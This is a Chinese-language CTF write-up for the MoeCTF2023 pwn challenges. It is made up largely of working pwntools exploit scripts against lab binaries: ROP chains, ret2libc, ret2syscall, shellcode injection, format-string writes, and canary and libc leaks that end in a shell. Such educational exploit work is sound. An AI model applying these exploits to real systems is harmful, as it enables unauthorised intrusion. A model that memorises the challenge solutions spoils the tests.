MoeCTF2023 wp--pwn篇
五、Pwn
1.Pwn 入门指北
CHALLENGE: Pwn 入门指北
DESCRIPTION: 建议:萌新朋友不要看完指北交上flag就扔掉!!
Tips:本指北附件在“通知栏”内的“比赛客服群”中,请加群了解更多信息
这个题没什么好说的,去附件找flag就行。
2.test_nc
CHALLENGE: test_nc
DESCRIPTION: 你知道nc是什么吗
这题主要考察nc的使用和隐藏文件的查看方式。
nc连接之后,没有发现flag。
打开gift发现提示
你知道隐藏文件么?那我们就看看隐藏文件。
发现flag文件。打开即可拿到flag
严格来说,这个题不算pwn。毕竟也算是入门之一吧。
3.baby_caculator
CHALLENGE: baby_calculator
DESCRIPTION: 这里有一台计算器,luo希望你可以帮他检查一下OvO
但是手动检查看上去会很困难,希望“pwntools”会帮到你
题目提示,计算器,让我们检查一下。进入题目看看。
在下英语不好,只能翻译了。
以上就是,要让我们把第一个和第二个相加,然后看他给出的结果对不对,然后输入对or错的对应结果。共有100次。
上脚本。
#!/usr/bin/env python # coding=utf-8 from pwn import * p = remote('10.52.13.156', 56457) for i in range(100): p.recvuntil("first:") first = p.recvline()[:-1] p.recvuntil("second:") second = p.recvline()[:-1] p.recvuntil("=") jisuan = p.recvline()[:-1] jiafa = int(first)+int(second) print first+" "+second+" "+jisuan+" "+str(jiafa) if str(jiafa) == str(jisuan): p.sendline("BlackBird") else: p.sendline("WingS") p.interactive()
这个题严格来说也不算pwn。主要考点就是pwntools的使用及py脚本的书写。谁让我们打pwn要用pwntools呢?
4.Fd
CHALLENGE: fd
DESCRIPTION: 你知道什么是fd(file descriptor)吗
题目提示,fd。那就先看看fd是啥把。
fd
是 File descriptor
的缩写,中文名叫做:文件描述符。文件描述符是一个非负整数,本质上是一个索引值(这句话非常重要)。
当打开一个文件时,内核向进程返回一个文件描述符( open
系统调用得到 ),后续 read
、write
这个文件时,则只需要用这个文件描述符来标识该文件,将其作为参数传入 read
、write
。
在 POSIX 语义中,0,1,2 这三个 fd 值已经被赋予特殊含义,分别是标准输入( STDIN_FILENO ),标准输出( STDOUT_FILENO ),标准错误( STDERR_FILENO )。
文件描述符是有一个范围的:0 ~ OPEN_MAX-1 ,最早期的 UNIX 系统中范围很小,现在的主流系统单就这个值来说,变化范围是几乎不受限制的,只受到系统硬件配置和系统管理员配置的约束。
以上四句话来源于https://zhuanlan.zhihu.com/p/364617329。。。有兴趣的朋友可以全部看看。
现在我们大概知道了fd是啥。有什么作用。并且知道了取值范围,且向上增长。那么进入题目看看。
那么这里我们计算一下new_fd是多少。
print((4 * 3) | 0x29A) #结果670
为什么这里用3呢?因为前面提到的0、1、2都被占用,所有我们一般从3开始。
那么试试对不对呢?
okk。是对的。。
当然,不清楚的情况下,也可以选择爆破。以下是爆破脚本。
#!/usr/bin/env python # coding=utf-8 from pwn import * for i in range(3,9999): p = remote('10.52.13.156', 63171) # p = process('./fd') p.sendlineafter("fd:",str(i)) p.recvline() flag = p.recvline() # print(flag+" " + str(len(flag))+" "+str(i)) #关闭输出可以提高运行速度。 if flag.find("moectf")> -1: print flag break p.close() #670
5.int_overflow
CHALLENGE: int_overflow
DESCRIPTION: 你知道整形溢出吗
看提示就知道,整数溢出。看看题目。
当我们输入的东西等于 -114514,就会进入backdoor方法。
进入该方法就会打印flag。那我们直接输入看看。
嘻嘻,果然是不行滴,这是为什么呢?进入输入函数看看。
strchr函数功能为在一个串中查找给定字符的第一个匹配之处........45是负号。当我们输入负号就会变成0。。所以还是老实的做溢出。
这里我利用了ida的h功能。(即按h键会16进制和10进制转换)
1234再来一次。(再按一次h)。。
这个时候是不是发现变成了一个整数了?那再输入进去看看。。
okk。
6.ret2text_32
CHALLENGE: ret2text_32
DESCRIPTION: 一道最基础的32位栈溢出题OvO
32位栈溢出,看看题目。
nbytes我们可以无限输入。在read这里就肯定会存在栈溢出。
很明显的后门函数。
但是他虚晃一枪。只有system,那我们就找找/bin/sh(shift+f12)
双击以下。看看地址是多少。
ok。溢出有了。system有了。binsh有了。
现在就是构造payload即可,exp如下:
#!/usr/bin/env python # coding=utf-8 from pwn import * p = remote('10.52.13.156', 60401) # p = process('./text32') p.sendline("300") payload = "a" * (0x58 + 4) + p32(0x8049070) + p32(0) + p32(0x804C02C) # gdb.attach(p) p.sendline(payload) p.interactive()
ps:萌新问题,system怎么找?
右边视图可以按空格切换。。。注意是需要点击的是_system。不是system
最后在ps一个。32位栈的传参方式,方法+空+参数,故exp哪里是system+空+binsh。。。这里的空可以是p32(0).也可以是p32(9)
7.ret2text_64
CHALLENGE: ret2text_64
DESCRIPTION: 64位和32位到底有什么不同呢?
话不多说,直接看题目吧。
还是原来的配方,还是原来的味道。直接找system和binsh。
然后就是exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * p = remote('10.52.13.156', 53621) # p = process('./text64') pop_rdi = 0x00000000004011be p.sendlineafter("age?", "300") payload = b"a" * (0x50 + 8) + p64(pop_rdi) + p64(0x404050) + p64(0x4012B7) # gdb.attach(p) p.sendline(payload) p.interactive()
ps:64位传参需要寄存器。这里pop_rdi是第一个参数的寄存器。rsi是第二个。具体自行百度了解吧。。。。。这里的pop_rdi实际上是pop_rdi_ret。这是什么玩意呢?就是pop(压栈,将参数放到栈里面)+参数+ret(返回地址)。
payload意思就是。先溢出到rbp,然后把rbp值覆盖成pop_rdi地址,然后放入参数(binsh),在跳转到system地址。。。不太明白的可以gdb看看。
pop_rdi怎么来的?ROPgadget --binary ./pwn --only "pop|ret"
我们也可以在ida看看。
其实也可以发现,出题人很细心的给我们了。
8.shellcode_level0
CHALLENGE: shellcode_level0
DESCRIPTION: 什么是shellcode?pwntools的shellcraft工具怎么使用?怎么脚本一把梭?
提示,pwntools的shellcraft。一把梭。哈哈。
看题目,发现不能反汇编。那就看汇编吧。
第一个,调用了gets函数(gets难道不会存在栈溢出?)
第二个,调用rdx。。也就是说。如果rdx是一段可执行的代码的话,我们是不是就可以,enmmm,执行代码了。。。。
从call rdx往上看,看看rdx我们可控不(既然shellcode,那么肯定可控的咯),rbp+var_78的值会放到rdx。rax的值会放到rbp+var_78。rbp+var_70的值会放到rax。。。也就是说。最终rdx的值等于rbp+var_70.
那么rbp+var_70的值怎么来的呢?再往上看看。。也就是gets这里输入的。。。也就是我们输入的(也就是可控,对吧。。)。
相当于。我们输入的东西,他回去调用。所以就可以直接写入shellcode。pwntools一把梭咯。以下为exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = "amd64" #注意这个amd64是不能少的,因为程序是64位,pwntools默认是32位的。。如果是32位可丢掉。必须丢掉 p = remote('10.52.13.156', 61138) # p = process('./shellcode_level0') payload = asm(shellcraft.sh()) # gdb.attach(p) p.sendline(payload) p.interactive()
9.shellcode_level1
CHALLENGE: shellcode_level1
DESCRIPTION: mmap和mprotect函数是干嘛用的?我的shellcode怎么没有执行权限?
分析题目吧。
int __cdecl main(int argc, const char **argv, const char **envp) { char *v3; // rax __int64 v4; // rbx __int64 v5; // rbx __int64 v6; // rbx __int64 v7; // rbx __int64 v8; // rbx __int64 v9; // rbx _QWORD *v10; // rax __int64 v11; // rbx __int64 v12; // rbx __int64 v13; // rbx __int64 v14; // rbx __int64 v15; // rbx __int64 v16; // rbx _QWORD *v17; // rax __int64 v18; // rbx __int64 v19; // rbx __int64 v20; // rbx __int64 v21; // rbx __int64 v22; // rbx __int64 v23; // rbx int choise; // [rsp+Ch] [rbp-114h] BYREF void (*p)(...); // [rsp+10h] [rbp-110h] char *paper3; // [rsp+18h] [rbp-108h] void *paper4; // [rsp+20h] [rbp-100h] void *paper5; // [rsp+28h] [rbp-F8h] char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF unsigned __int64 v32; // [rsp+108h] [rbp-18h] v32 = __readfsqword(0x28u); memset(shellcode, 0, sizeof(shellcode)); memset(paper2, 0, sizeof(paper2)); paper3 = (char *)malloc(0x64uLL); paper4 = mmap(0LL, 0x64uLL, 3, 34, -1, 0LL); paper5 = mmap(0LL, 0x64uLL, 7, 34, -1, 0LL); choise = 0; puts("Which paper will you choose?"); __isoc99_scanf("%d", &choise); puts("what do you want to write?"); __isoc99_scanf("%s", shellcode); switch ( choise ) { case 1: *(_QWORD *)paper1 = *(_QWORD *)shellcode; *(_QWORD *)&paper1[8] = *(_QWORD *)&shellcode[8]; *(_QWORD *)&paper1[16] = *(_QWORD *)&shellcode[16]; *(_QWORD *)&paper1[24] = *(_QWORD *)&shellcode[24]; *(_QWORD *)&paper1[32] = *(_QWORD *)&shellcode[32]; *(_QWORD *)&paper1[40] = *(_QWORD *)&shellcode[40]; *(_QWORD *)&paper1[48] = *(_QWORD *)&shellcode[48]; *(_QWORD *)&paper1[56] = *(_QWORD *)&shellcode[56]; *(_QWORD *)&paper1[64] = *(_QWORD *)&shellcode[64]; *(_QWORD *)&paper1[72] = *(_QWORD *)&shellcode[72]; *(_QWORD *)&paper1[80] = *(_QWORD *)&shellcode[80]; *(_QWORD *)&paper1[88] = *(_QWORD *)&shellcode[88]; *(_DWORD *)&paper1[96] = *(_DWORD *)&shellcode[96]; p = (void (*)(...))paper1; break; case 2: *(_QWORD *)paper2 = *(_QWORD *)shellcode; *(_QWORD *)&paper2[8] = *(_QWORD *)&shellcode[8]; *(_QWORD *)&paper2[16] = *(_QWORD *)&shellcode[16]; *(_QWORD *)&paper2[24] = *(_QWORD *)&shellcode[24]; *(_QWORD *)&paper2[32] = *(_QWORD *)&shellcode[32]; *(_QWORD *)&paper2[40] = *(_QWORD *)&shellcode[40]; *(_QWORD *)&paper2[48] = *(_QWORD *)&shellcode[48]; *(_QWORD *)&paper2[56] = *(_QWORD *)&shellcode[56]; *(_QWORD *)&paper2[64] = *(_QWORD *)&shellcode[64]; *(_QWORD *)&paper2[72] = *(_QWORD *)&shellcode[72]; *(_QWORD *)&paper2[80] = *(_QWORD *)&shellcode[80]; *(_QWORD *)&paper2[88] = *(_QWORD *)&shellcode[88]; *(_DWORD *)&paper2[96] = *(_DWORD *)&shellcode[96]; p = (void (*)(...))paper2; break; case 3: v3 = paper3; v4 = *(_QWORD *)&shellcode[8]; *(_QWORD *)paper3 = *(_QWORD *)shellcode; *((_QWORD *)v3 + 1) = v4; v5 = *(_QWORD *)&shellcode[24]; *((_QWORD *)v3 + 2) = *(_QWORD *)&shellcode[16]; *((_QWORD *)v3 + 3) = v5; v6 = *(_QWORD *)&shellcode[40]; *((_QWORD *)v3 + 4) = *(_QWORD *)&shellcode[32]; *((_QWORD *)v3 + 5) = v6; v7 = *(_QWORD *)&shellcode[56]; *((_QWORD *)v3 + 6) = *(_QWORD *)&shellcode[48]; *((_QWORD *)v3 + 7) = v7; v8 = *(_QWORD *)&shellcode[72]; *((_QWORD *)v3 + 8) = *(_QWORD *)&shellcode[64]; *((_QWORD *)v3 + 9) = v8; v9 = *(_QWORD *)&shellcode[88]; *((_QWORD *)v3 + 10) = *(_QWORD *)&shellcode[80]; *((_QWORD *)v3 + 11) = v9; *((_DWORD *)v3 + 24) = *(_DWORD *)&shellcode[96]; p = (void (*)(...))paper3; break; case 4: v10 = paper4; v11 = *(_QWORD *)&shellcode[8]; *(_QWORD *)paper4 = *(_QWORD *)shellcode; v10[1] = v11; v12 = *(_QWORD *)&shellcode[24]; v10[2] = *(_QWORD *)&shellcode[16]; v10[3] = v12; v13 = *(_QWORD *)&shellcode[40]; v10[4] = *(_QWORD *)&shellcode[32]; v10[5] = v13; v14 = *(_QWORD *)&shellcode[56]; v10[6] = *(_QWORD *)&shellcode[48]; v10[7] = v14; v15 = *(_QWORD *)&shellcode[72]; v10[8] = *(_QWORD *)&shellcode[64]; v10[9] = v15; v16 = *(_QWORD *)&shellcode[88]; v10[10] = *(_QWORD *)&shellcode[80]; v10[11] = v16; *((_DWORD *)v10 + 24) = *(_DWORD *)&shellcode[96]; p = (void (*)(...))paper4; mprotect(paper4, 0x1000uLL, 7); break; case 5: v17 = paper5; v18 = *(_QWORD *)&shellcode[8]; *(_QWORD *)paper5 = *(_QWORD *)shellcode; v17[1] = v18; v19 = *(_QWORD *)&shellcode[24]; v17[2] = *(_QWORD *)&shellcode[16]; v17[3] = v19; v20 = *(_QWORD *)&shellcode[40]; v17[4] = *(_QWORD *)&shellcode[32]; v17[5] = v20; v21 = *(_QWORD *)&shellcode[56]; v17[6] = *(_QWORD *)&shellcode[48]; v17[7] = v21; v22 = *(_QWORD *)&shellcode[72]; v17[8] = *(_QWORD *)&shellcode[64]; v17[9] = v22; v23 = *(_QWORD *)&shellcode[88]; v17[10] = *(_QWORD *)&shellcode[80]; v17[11] = v23; *((_DWORD *)v17 + 24) = *(_DWORD *)&shellcode[96]; p = (void (*)(...))paper5; mprotect(paper5, 0x1000uLL, 0); break; } p(); return 0; }
代码比较多,直接上exp吧
#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = "amd64" # p = remote('10.52.13.156', 61911) p = process('./shellcode_level1') # gdb.attach(p) p.sendline("4") payload = asm(shellcraft.sh()) p.sendline(payload) p.interactive()
我记得当时是换着1234试出来的。
10.uninitialized_key
CHALLENGE: uninitialized_key
DESCRIPTION: 你知道什么是栈吗?栈是如何存数据的捏
上伪代码。
在game内,存在一个溢出。其实并不重要。我们通过,gdb可以发现。在game处输入的东西(age),在get_key这里(key)是同一个。当我们输入key的时候,就会覆盖age的值。
所以。我们在game里输入114514,get_key这里就不输入,他就会引用age。
exp如下:
#!/usr/bin/env python # coding=utf-8 from pwn import * # context.log_level = "debug" context.arch = "amd64" # p = remote('10.52.13.156', 63033) p = process('./uninitialized_key') p.sendline("114514") # gdb.attach(p) p.sendline("\x00")#或者就直接留空。p.sendline("") p.interactive()
11.format_level0
CHALLENGE: format_level0
DESCRIPTION: flag就在栈中,你该如何获取呢。这个printf函数怎么有点奇怪
题目名字,格式化字符串。看看题目。
首先会把flag放到栈里面。然后存在格式化字符漏洞。
所以只需要利用格式化字符串的任意地址读即可。exp如下:
#!/usr/bin/env python # coding=utf-8 from pwn import * flag = "" for i in range(7,17): p = remote('10.52.13.156', 63033) # p = process('./format_level0') # gdb.attach(p) p.sendline(f"%{i}$p") p.recvuntil("0x") byte_str = binascii.unhexlify(p.recvline()[:-1]) str_result = byte_str.decode("utf-8") flag+=str_result[::-1] p.close() print(flag)
至于为什么是7-17.。这里是可以计算的。。当然我还是爆破出来的。。可以自己试试计算和爆破。
12.PIE_enabled
CHALLENGE: PIE_enabled
DESCRIPTION: 这个题目名字好像有点眼熟,好像见过,但是是什么意思呢o。O?
题目名字,pie(地址随机化)。。看看题目。
首先会泄露一个地址,vuln的地址。。然后存在一个栈溢出
system
binsh
这里会发现,我们的地址变得比较陌生了,之前得都是40x(64位)开头或者80x(32位)开头的。这就是pie。我们这里得到的只有偏移地址。系统会生成基址。。。
那么流程就是,先根据他泄露的vlun的地址,减去ida得到的vlun的偏移地址,就能够得到生成的基址。
拿到基址后在加上system和binsh的偏移就能得到真实的system和binsh的地址。
exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = "amd64" p = remote('10.52.13.156', 53745) # p = process('./pie') p.recvuntil("0x") leak = int(p.recvline()[:-1], 16) base_add = leak - 0x1245 system_add = base_add + 0x10A0 bash = base_add + 0x4010 pop_rdi = base_add + 0x0000000000001323 ret = base_add + 0x128D success(hex(base_add)) # gdb.attach(p) paylaod = b'a' * 0x58 + p64(pop_rdi) + p64(bash) + p64(ret) + p64(system_add) p.sendline(paylaod) p.interactive()
13.ret2libc
CHALLENGE: ret2libc
DESCRIPTION: 如果找不到想要的东西,就去问问神奇的libc吧 ~
都不用分析题目了。无system无binsh。
流程,利用延迟绑定机制,泄露一个地址。然后使用libc的对应偏移计算得到libc的基质。然后就能得到system和binsh的地址。
exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = "amd64" p = remote('10.52.13.156', 54744) # p = process('./ret2libc') elf = ELF("./ret2libc") libc = ELF("./libc6_2.35-0ubuntu3_amd64.so") pop_rdi = 0x000000000040117e main = 0x4011E8 p1 = b"a" * (0x50 + 0x8) p1 += p64(pop_rdi) + p64(elf.got['puts']) p1 += p64(elf.plt['puts']) p1 += p64(main) p.sendline(p1) leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) libc_base = leak - libc.sym['puts'] success(hex(libc_base)) p2 = b"a" * (0x50 + 0x8) one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8] # p2 += p64(libc_base + one[3]) p2 += p64(pop_rdi) + p64(libc_base + next(libc.search(b"/bin/sh"))) + p64(0x40122A) p2 += p64(libc_base + libc.sym['system']) p.sendline(p2) p.interactive()
记得这个libc6_2.35-0ubuntu3_amd64.so好像是libcsearch找的。习惯将libc丢本地打了。也可以就是libcsearch直接打。
14.ret2syscall
CHALLENGE: ret2syscall
DESCRIPTION: 什么是系统调用?如何使用系统调用打开shell?
这个题没什么好分析的了。就是syscall一把梭即可。exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = "amd64" p = remote('10.52.13.156', 53856) # p = process('./ret2syscall') elf = ELF("./ret2syscall") libc = ELF("./libc6_2.35-0ubuntu3_amd64.so") pop_rax = 0x000000000040117e pop_rdi = 0x0000000000401180 pop_rsi_rdx = 0x0000000000401182 bss = 0x0000000000404060 ret = 0x00000000004011C1 syscall_addr = 0x401185 binsh_addr = 0x0000000000404040 payload = b"a" * 0x48 payload += p64(pop_rdi) + p64(binsh_addr) # stackoverflow & rdi=binsh_addr payload += p64(pop_rsi_rdx) + p64(0) + p64(0) # rsi=0 rdx=0 payload += p64(pop_rax) + p64(59) # rax=59 payload += p64(syscall_addr) # execve("/bin/sh",0,0) p.sendline(payload) p.interactive()
15.Shellcode_level2
CHALLENGE: shellcode_level2
DESCRIPTION: 简单的对shellcode的处理
这个题也是,注意就是
所以将第一个字节改为0即可。
#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = "amd64" p = remote('10.52.13.156', 52697) # p = process('./shellcode_level2') elf = ELF("./shellcode_level2") libc = ELF("./libc6_2.35-0ubuntu3_amd64.so") payload = b'\x00'+asm(shellcraft.sh()) # gdb.attach(p) p.sendline(payload) p.interactive()
16.Uninitialized_key_plus
CHALLENGE: uninitialized_key_plus
DESCRIPTION: 栈是如何存数据的捏,要做这道题你或许需要借助pwntools
还有好多啊。不想分析了。写关键吧。
#!/usr/bin/env python # coding=utf-8 from pwn import * # context.log_level = "debug" context.arch = "amd64" p = remote('10.52.13.156', 52855) # p = process('./uninitialized_key_plus') payload = b"a"*20 + p32(0x1BF52) p.sendline(payload) p.sendline(b"\x00") p.interactive()
17.format_Tevel1
CHALLENGE: format_level1
DESCRIPTION: 打败FLAG龙就可以得到flag哟
通过格式化字符串漏洞任意写将dragon.HP覆写为0即可
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" # context.arch = "amd64" p = remote('10.52.13.156',53014) # p = process('./format_level1') p.sendline("3") payload = b"%8$n" + p64(0x804c00c) p.sendline(payload) # gdb.attach(p) p.sendline(b"1") p.interactive()
18.little_canary
CHALLENGE: little_canary
DESCRIPTION: "我是一只可爱的金丝雀“
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" # context.arch = "amd64" p = remote('10.52.13.156', 59274) # p = process('./little_canary') elf = ELF("./little_canary") # libc = ELF("./libc-2.32-1.fc33.x86_64.so") main = 0x4012BA pop_rdi = 0x0000000000401343 p.sendlineafter(b"name?\n",b"a"*72) p.recvuntil(b"\n") canary = u64(b"\x00"+p.recv(7)) # gdb.attach(p) success(hex(canary)) print(hex(elf.got['puts'])) payload = b'a'*72+p64(canary)+p64(0) payload += p64(pop_rdi) + p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(main) p.sendline(payload) leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) libc = LibcSearcher('puts',leak) libc_base = leak - libc.dump('puts') success(hex(libc_base)) p.sendline(b"payload") payload = b'a'*72+p64(canary)+p64(0) payload += p64(pop_rdi) + p64(libc_base + libc.dump("str_bin_sh"))+p64(0x4012DC) payload += p64(libc_base + libc.dump('system')) p.sendline(payload) p.interactive()
19.rePWNse
CHALLENGE: rePWNse
DESCRIPTION: pwner也是要锻炼逆向能力的。
这个题就是计算出来的。。。根据那几个if可以得到几个公式,有几个值是定死的,然后推算其他值就行
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" context.arch = "amd64" p = remote('10.52.13.156', 60162) # p = process('./rePWNse') pop_rdi = 0x000000000040168e p.sendline("1") #7 p.sendline("9") #8 p.sendline("1") #9 p.sendline("9") #10 p.sendline("8") #11 p.sendline("1") #12 p.sendline("0") #13 p.recvuntil("address is:") leak = int(p.recvline()[2:-1],16) # gdb.attach(p) payload = b'a'*0x48+p64(pop_rdi)+p64(leak)+p64(0x401296) p.sendline(payload) p.interactive()
20.shellcode_Tevel3
CHALLENGE: shellcode_level3
DESCRIPTION: 5个字节你能秒杀我?
只让注入5个字节,但是程序有getshell的程序,所以直接用jmp跳转就行
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" context.arch = "amd64" p = remote('10.52.13.156', 53274) # p = process('./shellcode_level2') elf = ELF("./shellcode_level3") libc = ELF("./libc6_2.35-0ubuntu3_amd64.so") p.sendline(b"\xE9\x48\xD1\xFF\xFF") p.interactive()
21.changeable_shelTcode
CHALLENGE: changeable_shellcode
DESCRIPTION: 假如我不允许你直接输入syscall的机器码,那么你该怎么办呢
shellcode,但是在filter过滤了'\x0f\x05'(即syscall),那么就在shellcode里动态的生成最后的syscall就行。后面的一堆代码都是复制shellcode到mmap内存中去执行
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" context.arch = "amd64" p = remote('10.52.13.156',54958) # p = process('./shellcode') # 第一条语句是为了在\x0f后面添加\x05形成syscall shellcode = ''' mov byte ptr[rax+33], 5 push 0 mov rax, 0x68732f2f6e69622f push rax push rsp pop rdi xor rsi, rsi xor rdx, rdx mov rax, 59 ''' p.sendline(asm(shellcode)+b'\x0f') p.interactive()
22.format_Level2
CHALLENGE: format_level2
DESCRIPTION: 这次FLAG龙不会再掉落flag了,需要你自己继续探索哟
通过格式化字符串来修改函数返回地址为success函数来获取shell
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" # context.arch = "amd64" p = remote('10.52.13.156',54250) # p = process('./format_level2') p.sendlineafter(":",b"3") p.sendlineafter(":",b"%p") p.recvuntil("0x") stack = int(p.recvline()[:-1], 16) func_ret = stack + 64 p.sendline(b"3") payload = b"%23p%10$hhn".ljust(12, b'a') + p32(func_ret) p.send(payload) p.sendlineafter(":",b"3") payload = b"%147p%10$hhn".ljust(12, b'a') + p32(func_ret+1) p.sendlineafter(":",payload) p.sendlineafter(":",b"4") p.interactive()
23.Feedback
CHALLENGE: feedback
DESCRIPTION: 快来反馈一下你的比赛情况吧
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" context.arch = "amd64" p = remote('10.52.13.156', 53493) # p = process('./feedback') p.sendlineafter("Which list do you want to write?",b"-8") payload = p64(0xFBAD1800) + p64(0)*3 + b'\x00' p.sendlineafter(".\n",payload) p.recvuntil(b'\x00'*8) libc_base = u64(p.recv(8)) - 0x1ec980 success(hex(libc_base)) flag = libc_base + 0x1f1700 p.sendlineafter("?",b"-11") p.sendlineafter(".",b'\x68') p.sendlineafter("?",b"-11") p.sendlineafter(".",p64(flag)) p.interactive()
24.format Level3
CHALLENGE: format_level3
DESCRIPTION: 这道题相比上一道只改动了一点点哦
#!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * from ctypes import * # context.log_level = "debug" # context.arch = "amd64" p = remote('10.52.13.156',54645) # p = process('./format_level3') p.sendlineafter(":",b"3") p.sendlineafter(":",b"%6$p") p.recvuntil("0x") stack = int(p.recvline()[:-1], 16) func_ret = stack + 4 p.sendlineafter(":",b"3") payload = "%{}p%6$hhn".format(func_ret & 0xff) p.sendlineafter(":",payload.encode()) p.sendlineafter(":",b"3") payload = "%{}p%14$hn".format(0x9317) p.sendlineafter(":",payload.encode()) p.sendlineafter(":",b"4") p.interactive()
写wp太累了。向大佬致敬。特别是爱写wp的大佬